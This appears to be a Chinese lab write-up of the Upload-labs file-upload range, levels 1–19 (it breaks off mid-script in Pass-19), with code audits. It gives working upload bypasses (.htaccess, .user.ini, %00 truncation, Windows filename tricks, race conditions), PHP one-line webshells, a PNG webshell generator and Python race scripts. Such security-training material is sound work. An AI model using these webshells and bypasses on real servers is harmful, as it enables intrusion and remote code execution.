Upload-labs 1-21关 靶场通关笔记(含代码审计)

目录

Pass-01(JS前端验证) 

方法一:删除JS验证 

 方法二:先上传符合要求的图片 再在burp里面修改后缀即可

Pass-02(MIME验证)

前置知识$_FILES

Pass-03(php3、phtml绕过黑名单)

Pass-04(.htaccess绕过黑名单)

 前置知识 .htaccess

思路一

 思路二

思路三

​编辑

Pass-05(.user.ini黑名单)

前置知识 .user.ini

思路一

注意:这里要修改php.ini配置文件

思路二

Pass-06(大小写绕过黑名单)

Pass-07(空格绕过黑名单)

Pass-08(点绕过黑名单)

Pass-09(::$DATA绕过黑名单)

Pass-10(点空格点绕过黑名单)

​编辑Pass-11(双写php绕过黑名单)

Pass-12(%00截断白名单)

这里就要用到0x00截断的知识

Pass-13(0x00截断白名单)

Pass-14(文件包含+图片马)

   Pass-15(文件包含+图片马)

  Pass-16(文件包含+图片马)

Pass-17(二次渲染+图片马/条件竞争)

函数介绍

imagejpeg()

说明

参数

返回值

思路一

思路二

Pass-18(条件竞争)

Pass-19(条件竞争+白名单+其他漏洞配合)

思路一

注意Apache未知后缀名解析漏洞适用 php ts 版本  

 思路二

非预期解

Pass-20(黑名单+上传路径可控)

思路一

思路二

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

   Pass-21(MIME验证+白名单+上传路径可控)

 防御手段


环境要求

若要自己亲自搭建环境,请按照以下配置环境,方可正常运行每个Pass。

配置项            配置                            描述
操作系统    Window or Linux    推荐使用Windows,除了Pass-20必须在linux下,其余Pass都可以在Windows上运行
PHP版本    推荐5.2.17              其他版本可能会导致部分Pass无法突破
PHP组件    php_gd2,php_exif    部分Pass依赖这两个组件
中间件    设置Apache以moudel方式连接    

Pass-01(JS前端验证) 

本pass在客户端使用js对不合法图片进行检查!

方法一:删除JS验证 

右键检查元素找到JS绑定的form表单  删除onsubmit后面的代码

上传php文件即可 

实战或ctf上传php木马 由于更方便演示效果我这里用<?php phpinfo();?>替代

然后找到上传的文件地址 右键新建标签打开或者F12找到地址访问即可

 效果如下

 方法二:先上传符合要求的图片 再在burp里面修改后缀即可

Pass-02(MIME验证)

本pass在服务端对数据包的MIME进行检查!

前置知识$_FILES

超全局变量$_FILES是一个二维数组,用来保存客户端上传到服务器的文件信息。二维数组的行是文件域的名称,列有5个。

1、$_FILES[]['name'] 	#上传的文件名
2、$_FILES[]['type'] 	#上传的文件类型,这个类型是MIME类型(image/jpeg image/gif image/png)
3、$_FILES[]['size'] 	#文件的大小,以字节为单位
4、$_FILES[]['tmp_name'] #文件上传时候的临时文件
5、$_FILES[]['error']	#错误编码(值有0、1、2、3、4、6、7)0表示正确1

上传一个4.jpg文件查看效果

 阅读代码

$is_upload = false;
$msg = null;
# 判断是否点击了提交按钮
if (isset($_POST['submit'])) {
    # 判断文件路径是否存在 这里的UPLOAD_PATH=../upload 在config.php中被定义为常量
    if (file_exists(UPLOAD_PATH)) {
        # 对数据包的MIME进行校验 
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            # 拼接了../upload/xxx.xxx
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']  
            # 将上传的临时文件移动到目录../upload/xxx.xxx     
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                # 移动文件出错
                $msg = '上传出错!';
            }
        } else {
             # 不符合MIMIE类型就报错
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        # 文件路径不存在
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

用burp抓包修改conten-type即可

 

Pass-03(php3、phtml绕过黑名单)

本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!

阅读代码

$is_upload = false;
$msg = null;
# 判断是否点击提交按钮
if (isset($_POST['submit'])) {

    # 判断文件路径是否存在 这里的UPLOAD_PATH=../upload 在config.php中被定义为常量
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp'); //定义黑名单数组
        $file_name = trim($_FILES['upload_file']['name']); //将上传的文件名首尾去除空格
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.'); //截取最后一个点到末尾的字符串(包含.)
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
       
        # 如果上传的文件后缀不在黑名单数组中
        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            # 拼接../upload/xxx.xxx 并对文件进行重命名 用的是截取的文件后缀名
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            
            # 将上传的临时文件移动到目录../upload/xxx.xxx  
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

黑名单可以用php2 php3 php5 php7 phtml 等绕过

PHP5文件实际上就是.PHP文件,只不过代码由PHP5引擎解析。

PHP5是一种PHP版本间的区分,该后缀名并不常见,另外还有.PHP2.PHP3.PHP4文件。而当前最新的PHP版本为PHP7。

phtml 在Apache的httpd.conf里面修改 去除注释 修改config文件后需要重启php服务

 我这里要么是403forbidden的  要么是不解析php3等文件

不知道为什么 防火墙和wd都是关闭的 搞了好久都不行

所以用了buuctf的靶场

Pass-04(.htaccess绕过黑名单)

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

 前置知识 .htaccess

分布式配置文件

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

代码和第三关类似 就不再阅读了

漏洞原理

利用上传到服务器上的.htaccess文件修改当前目录下的解析规则

形成条件

1.php5.6以下不带nts的版本
2.服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件

(1).htaccess参数

常见配法有以下几种:

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

SetHandler application/x-httpd-php

Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。

.htaccess文件内容如下

<FilesMatch "4.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

思路一

先上传.htaccess文件 再上传一个4.jpg的文件 

那么就将该目录及子目录的所有文件均映射为php文件类型。

注意:我使用的php版本为php5.4.45  运行模式为 Apache 2.0 Handler

           在php的nts版本下面无法解析4.jpg为php文件 该运行模式为CGI/FastCGI

非nts的版本:成功

 

nts的版本:失败 

 

 思路二

尝试Apache的未知后缀名解析漏洞

经过测试 在php非nts版本下 运行模式为 Apache 2.0 Handler 

成功

 nts版本会报500 服务器内部错误

思路三

利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:

双引号"     =   点号.
大于符号>   =   问号?
小于符号<   =   星号*

先上传一个名为4.php:.jpg的文件,上传成功后会生成4.php的空文件,大小为0KB.

这一步 我成功了 原理就是在windows环境下 不允许文件命名中含有( \ / : * ? "   < > | )

如果有 会自动截断 并生成一个空文件

然后将文件名改为4.<或4.<<<或4.>>>或4.>><后再次上传,重写4.php文件内容,Webshell代码就会写入原来的4.php空文件中。再访问4.php

经过测试 在php非nts版本下 运行模式为 Apache 2.0 Handler  成功!!!

Pass-05(.user.ini黑名单)

上传目录存在php文件(readme.php)

在php非nts版本下 运行模式为 Apache 2.0 Handler 

可以尝试 Apache的未知后缀名解析漏洞 和 4.php:.jpg 即第四关的思路二、三

在php nts版本下我们尝试用.user.ini 进行黑名单的绕过

前置知识 .user.ini

.user.ini
.user.ini是php的一种配置文件,众所周知php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。 官方解释: 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中。

使用条件:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式

优势跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

auto_prepend_file/auto_append_file
这两个配置可以在php文件执行之前先包含制定的文件,所以我们可以上传一个图片马,这样就可以通过.user.ini使得这个图片马被包含,从而获取webshell 

.user.ini

auto_prepend_file=a.jpg

.user.ini文件里的意思是:所有的php文件都自动包含a.jpg文件。.user.ini相当于一个用户自定义的php.ini

思路一

先上传.user.ini文件 再上传含有后门代码的a.jpg文件 根据提示:上传目录存在php文件(readme.php)

所以readme.php会自动包含a.jpg里面的代码 用蚁剑连接即可

a.jpg里面的一句话木马

<?php @eval($_POST['c'])?>
<?=eval($_POST['c'])?>

注意:这里要修改php.ini配置文件

分号是注释 改成和我一样的即可 

然后访问readme.php 效果如下 也可以用一句话木马

思路二

用 5.php. .绕过

代码运行最后得到的后缀为"." 不在黑名单中 然而又用原来的5.php. .来拼接路径 由于windows在

文件命名中会删除.和空格 所以最终得到的是5.php 因此绕过了黑名单限制

$file_name = trim($_FILES['upload_file']['name']);
$img_path = UPLOAD_PATH.'/'.$file_name;

Pass-06(大小写绕过黑名单)

本关禁止上传.htaccess .user.ini 

阅读代码 我这里只截取了关键部分的代码

        $file_name = trim($_FILES['upload_file']['name']);// 首尾去除空格
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//截取最后一个点到末尾的字符串(包含.)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        # 判断是否在黑名单数组中
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
             # 拼接../upload/xxx.xxx 并对文件进行重命名 用的是截取的文件后缀名
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } 

那么我们逆推一下 最后要得到xxx.php 那么$file_ext就要是php 黑名单里面就禁止了pHp

没有禁止phP 、Php 所以将文件名字大小写就绕过了限制

注意:这里php版本选非nts版本的 才能成功

php nts版本会报 http 500 服务器内部错误 具体什么原因我也不太清楚

Pass-07(空格绕过黑名单)

源码我就不放了 和上面关卡的代码类似

阅读代码发现  缺少了首尾去除空格的代码过滤  

利用PHP 和 Windows环境的叠加特性  windows系统自动删除文件名后缀的空格  绕过黑名单

Pass-08(点绕过黑名单)

阅读代码发现缺少了deldot函数 删除文件名最后一个点(如果有多个连续的.... 会全部删除)

这个函数是作者自己写的 以我现在的水平看不懂 以后再来分析

依旧是用首尾去除空格的后的原来的文件名来保存文件 没有截取后缀名

$file_name = trim($_FILES['upload_file']['name']);
$img_path = UPLOAD_PATH.'/'.$file_name;

 那么就和第七关同理 获取的最终文件后缀为“.” 不在黑名单里面

利用Windows系统保存文件的特性  会删除文件后缀名的xxx.php. 最后上传的文件还是xxx.php

Pass-09(::$DATA绕过黑名单)

这一关黑名单,没有对::$DATA 进 行 处 理  使用::$DATA 进行处理,可以使用::$DATA绕过黑名单

补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 

 

Pass-10(点空格点绕过黑名单)

在php非nts版本下  

运行模式为 Apache 2.0 Handler

可以尝试 Apache的未知后缀名解析漏洞 和 4.php:.jpg 即第四关的思路二、三

在php的nts版本中 运行模式为cgi/fastcgi

用 10.php. .绕过

代码运行最后得到的后缀为"." 不在黑名单中 然而又用原来的10.php. .来保存文件 由于windows在

文件命名中会自动删除.和空格 所以最终得到的是10.php 因此绕过了黑名单限制

Pass-11(双写php绕过黑名单)

阅读代码 关键代码如下

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } 

发现依旧是用上传的文件名来拼接路径并保存文件 没有对文件重命名

只是用了str_ireplace()函数来检测(此函数无视大小写) 如果文件名含有黑名单里面的字符串 就替换为空

但是只替换一次 并没有进行正则匹配或者是循环匹配敏感字符  因此只要双写php即可 因为是从左往右读的 所以替换为空后 还是php

pphphp、phphpp都可以尝试 

Pass-12(%00截断白名单)

阅读代码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    # 定义了白名单数组
    $ext_arr = array('jpg','png','gif');
    # 截取上传文件名最后一个带点的文件后缀 
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    # 判断后缀名是否都在白名单中
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        # 用$_GET来拼接上传路径 取上传文件的末尾点后缀名 并对文件进行重命名
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        # 移动临时文件到上传目录
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

本关提示:本pass上传路径可控!

代码漏洞点就在于 用$_GET['save_path']来组成上传的文件路径 而这个get传参是我们可以控制的地方 

因此我们考虑用是否能进行截断 例如形成../upload/12.php/截断后面的(xxx.jpg)

这样就通过了白名单校验  并且保存成了php文件

这里就要用到0x00截断的知识

url中的%00(只要是这种%xx)的形式,webserver会把它当作十六进制处理,

然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断burpsuite中16进制编辑器将空格20改成了00。

本质上来说,都是利用0x00是字符串的结束标识符,进行截断处理。

只不过GET传参需要url编码成%00而已

原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

%00截断

%00的使用是在路径上!

%00的使用是在路径上!

%00的使用是在路径上!

重要的话说三遍。如果在文件名上使用,就无法正常截断了。如:aaa.php%00bbb.jpg

 需要满足的条件

00截断的限制条件是PHP<5.3.29,且GPC关闭

因为当 magic_quotes_gpc 打开时,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符

magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

实操如下

Pass-13(0x00截断白名单)

同第12关做法相同 只不过上传路径在$_POST数据中 不需要url编码

这里说一个小技巧 不需要修改hex值那么麻烦 只要在burp里面输入%00 然后进行url解码即可 得到就是0x00

 

Pass-14(文件包含+图片马)

阅读代码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

 大致意思就是读取文件头的两字节二进制数据转换为ASCII值 进行switch比较 也就是说只验证文件头信息

图⽚⽂件头以及解码(16进制)

1.JPEG

- ⽂件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG ⽂件标识)

- ⽂件结束标识 (2 bytes): 0xff, 0xd9 (EOI)

2.PNG

- ⽂件头标识 (8 bytes)   89 50 4E 47 0D 0A 1A 0A

3.GIF

- ⽂件头标识 (6 bytes)   47 49 46 38 39(37) 61

                                        G    I   F   8    9 (7)   a

 那么直接上传图片马就完了

图片马可以用Notepad++打开图片 在图片末尾添加

 

利用文件包含漏洞  将含有php代码的图片马当做php文件解析

文件包含就相当于将其他目录的php文件复制粘贴到所在的php文件 减少代码的重复书写

这里利用get传参 将图片木马里面的代码复制过来并执行

include.php?file=upload/7920221011132540.png

   Pass-15(文件包含+图片马)

同第14关

阅读代码 这里只讲解主要函数 其余代码都差不多

getimagesize()函数:

返回一个具有四个单元的数组。

索引 0 包含图像宽度的像素值,

索引 1 包含图像高度的像素值。

索引 2 是图像类型的标记:1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM。这些标记与 PHP 4.3.0 新加的 IMAGETYPE 常量对应。

索引 3 是文本字符串,内容为"height="yyy" width="xxx"",可直接用于 IMG 标记。

$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);

function isImage($filename){
    # 定义含有三种图片格式的字符串
    $types = '.jpeg|.png|.gif';
    # 判断是否存在临时文件
    if(file_exists($filename)){
        $info = getimagesize($filename);
       //getimagesize — 取得图像大小 返回一个数组 
      //例如array(7) { 
        [0]=> int(500) 
        [1]=> int(500) 
        [2]=> int(1) 
        [3]=> string(24) "width="500" height="500"" 
        ["bits"]=> int(8) 
        ["channels"]=> int(3) 
        ["mime"]=> string(9) "image/gif" } 
        $ext = image_type_to_extension($info[2]);  //根据指定的图像类型返回对应的后缀名。
        # 判断后缀名是否在字符串中 是返回对应数字 否则返回false
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

做法和第14关相同

  Pass-16(文件包含+图片马)

没啥区别 只是换了函数  需要开启php_exif模块。 

做法和第14关相同

Pass-17(二次渲染+图片马/条件竞争)

函数介绍

basename — 返回路径中的文件名部分

给出一个包含有指向一个文件的全路径的字符串,本函数返回基本的文件名。

Note:

basename() 纯粹基于输入字符串操作, 它不会受实际文件系统和类似 ".." 的路径格式影响。

例子如下:

<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL; 
echo "2) ".basename("/etc/sudoers.d").PHP_EOL;
echo "3) ".basename("/etc/passwd").PHP_EOL;
echo "4) ".basename("/etc/").PHP_EOL;
echo "5) ".basename(".").PHP_EOL;
echo "6) ".basename("/");
?> 

1) sudoers
2) sudoers.d
3) passwd
4) etc
5) .
6) 

imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

imagejpeg()

(PHP 4, PHP 5, PHP 7, PHP 8)

imagejpeg — 输出图象到浏览器或文件。

说明

imagejpeg ( resource $image , string $filename = ? , int $quality = ? ) : bool

imagejpeg()image 图像以 filename 为文件名创建一个 JPEG 图像。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的图象资源。

filename

文件保存的路径,如果未设置或为 null,将会直接输出原始图象流。

如果要省略这个参数而提供 quality 参数,使用NULL。

quality

quality 为可选项,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大)。默认为 IJG 默认的质量值(大约 75)。

返回值

成功时返回 true, 或者在失败时返回 false

阅读代码 

if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];
    # 拼接上传路径 例如上传17.png 则 $target_path=../upload/17.png
    $target_path=UPLOAD_PATH.'/'.basename($filename);
    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与MIME类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        // 这里存在逻辑缺陷 是先上传保存的图片 然后再去验证 如果不满足就删除上传的文件
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path); // 删除上传的原来的文件
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

二次渲染说白了就是上传的图片

他会重新创建画布 然后把里面的东西重新渲染一边

如果你的代码在里面也可能被渲染一遍 (具体怎么渲染得看底层代码了)

代码变成图片一部分那就失效了

思路一

所以需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

这里我偷个懒 用别人做好的图片马(因为我搞了好多遍都失败了QAQ) 链接如下:

链接:https://pan.baidu.com/s/1JSGKNwweuqfYPOVzfTpkMQ?pwd=1234 
提取码:1234 

gif直接上传就完事了 

png

网上找的代码直接生成  直接运行php脚本自动生成png文件 然后直接上传就完事了

内含一句话木马<?=$_GET[0]($_POST[1]);?> 

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,           
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,          
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {   $r = $p[$y];   $g = $p[$y+1];   $b = $p[$y+2];   $color = imagecolorallocate($img, $r, $g, $b);   imagesetpixel($img, round($y / 3), 0, $color);}
imagepng($img,'./exp17.png');

/*
<?=$_GET[0]($_POST[1]);?>
*/

?>

访问url

http://192.168.114.200/upload-labs-master/include.php?file=upload/13083.png&0=phpinfo

jpg比较困难 这里略

思路二

条件竞争

由于他的代码存在逻辑缺陷 是先上传保存的图片 然后再去验证 如果不满足就删除上传的文件

由于代码执行是一步步来的 需要时间 那我们不停的上传文件 就会产生并发 服务器会不停的对每个文件都执行相关的代码

由于他先上传 然后又原封不动的保存我们上传的文件  所以有一瞬间原本的文件存在 如果上传目录和文件名字已知的话 我们就可以通过url访问我们上传的文件 

但是一会被删除怎么办?我们在访问上传的php文件就相当于执行了php代码 只要自动写一个木马文件到文件夹就成功了 

代码如下 插入到png图片中即可

<?php fputs(fopen('../upload/shell.php','w'),'<?php phpinfo();?>');?>

所以需要一边不停用burp不停地上传 然后另一边不断的访问  访问的文件需要有写的权限 不然还是不行 还好这里靶场

访问的py脚本如下 不会脚本的话可以用浏览器插件不停的刷新网页 间隔设置的短一点 0.25秒这种

import requests

url = "http://192.168.114.200/upload-labs-master/include.php?file=upload/17.png"
while True:
    html = requests.get(url)
    if ('Warning' not in str(html.text)):
        print('ok')
        break
    else:
        print("发包中")

然后用burp的Intruder模块不停的发包就行了

 

两边同时运行就行了 

然后查看我们的文件夹 发现有shell.php就成功了

Pass-18(条件竞争)

这关代码就不放了 还是和17关一样 也是先上传 再进行验证的 不符合就删除

依旧利用时间差来攻击 直接上传php文件

<?php fputs(fopen('../upload/shell18.php','w'),'<?php phpinfo();?>');?>

py脚本如下:

import requests
url = "http://192.168.114.200/upload-labs-master/upload/18.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
        print("发包中")

burp不停地发包

最后得到shell18.php

Pass-19(条件竞争+白名单+其他漏洞配合)

本关需要阅读index.php和myupload.php

index.php关键代码如下

if (isset($_POST['submit']))
{
    require_once("./myupload.php");// 包含一次myupload.php 出错会终止执行后面的代码
    $imgFileName =time();// 根据当前时间生成文件名

    // 创建文件上传类 并传递四个文件上传的基本参数
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    
    $status_code = $u->upload(UPLOAD_PATH);//设置上传目录 define("UPLOAD_PATH","../upload");

myupload.php关键代码如下

<?php

# 定义了 MyUpload类
class MyUpload{    
   
  // 定义了一大堆东西 重点看$cls_arr_ext_accepted白名单 上传路径$cls_upload_dir 
  var $cls_upload_dir = "";         // Directory to upload to.
  var $cls_filename = "";           // Name of the upload file.
  var $cls_tmp_filename = "";       // TMP file Name (tmp name by php).
  var $cls_max_filesize = 33554432; // Max file size.
  var $cls_filesize ="";            // Actual file size.
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
  var $cls_file_exists = 0;         // Set to 1 to check if file exist before upload.
  var $cls_rename_file = 1;         // Set to 1 to rename file after upload.
  var $cls_file_rename_to = '';     // New name for the file after upload.
  var $cls_verbal = 0;              // Set to 1 to return an a string instead of an error code.

  //  函数传递了$_FILES['upload_file']['name'], 
  //  	     	$_FILES['upload_file']['tmp_name'], 
  //  	     	$_FILES['upload_file']['size'],
  //  	     	$imgFileName=time()
  function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
  
    $this->cls_filename = $file_name;
    $this->cls_tmp_filename = $tmp_file_name;
    $this->cls_filesize = $file_size;
    $this->cls_file_rename_to = $file_rename_to;
  }
   
  // 判断文件是否为http post方式上传
  function isUploadedFile(){
    
    if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
      return "IS_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }
  }

   
   /*先判断../upload/文件夹是否可写 
     然后赋值给$this->cls_upload_dir 不过这里缺少个"/"
     需要自己添加*/
  function setDir( $dir ){
    
    if( !is_writable( $dir ) ){
      return "DIRECTORY_FAILURE";
    } else { 
      $this->cls_upload_dir = $dir."/"; //  $this->cls_upload_dir = "../upload/"
      return 1;
    }
  }


    // 判断是否在白名单中 白名单验证
    if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
      return "EXTENSION_FAILURE";
    } else {
      return 1;
    }
  }

   // 检查文件大小 可忽略
  function checkSize(){
    if( $this->cls_filesize > $this->cls_max_filesize ){
      return "FILE_SIZE_FAILURE";
    } else {
      return 1;
    }
  }

   // 移动临时文件到upload目录
  function move(){
    if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
      return "MOVE_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }

  }
   // 检查上传文件夹../upload/time()是否存在
  function checkFileExists(){
    if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
      return "FILE_EXISTS_FAILURE";
    } else {
      return 1;
    }
  }
    
  // 将上面函数进行整合
  function upload( $dir ){
    // 太多了略
 }

?>

upload()函数大致思路如下:

  1. 判断文件是否为http post方式上传
  2. 建立文件夹
  3. 白名单验证后缀名
  4. 检查大小
  5. 检查上传文件夹是否存在
  6. 移动临时文件到上传目录
  7. 对文件进行重命名

 同样的逻辑缺陷 不过是白名单 上传路径不可控制 所以上传含有木马的白名单文件 配合条件竞争和其他漏洞来实现写入木马

思路一

白名单+条件竞争+Apache未知后缀名解析漏洞

上传一个Apache不识别的后缀名 通过条件竞争访问php文件 写入木马成功

我这里用19.php.ppt 

注意Apache未知后缀名解析漏洞适用 php ts 版本  

这里我用的版本5.5.38 

py脚本如下

import requests

